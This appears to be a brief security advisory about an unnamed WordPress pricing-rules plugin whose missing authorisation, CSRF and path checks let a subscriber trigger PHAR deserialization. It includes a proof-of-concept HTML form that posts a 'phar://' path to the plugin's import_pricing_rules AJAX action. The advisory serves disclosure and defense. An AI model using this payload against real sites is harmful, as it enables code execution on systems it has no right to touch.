The plugin does not have authorisation and proper CSRF checks, as well as does not validate path given via user input, allowing any authenticated users like subscriber to perform PHAR deserialization attacks when they can upload a file, and a suitable gadget chain is present on the blog
As a subscriber, upload a malicious file being a PHAR with a gadget chain, open the HTML code below while being logged in as a subscriber and submit it
<form action="https://example.com/wp-admin/admin-ajax.php?action=import_pricing_rules" method="POST" enctype="multipart/form-data">
<input type="text" name="file_path" value="phar://path-to-malicious-phar">
<input type="text" name="afcsp_nonce" value="xxxxx"><!-- since 1.6.2 -->
<input type="submit" name="submit" value="submit">
</form>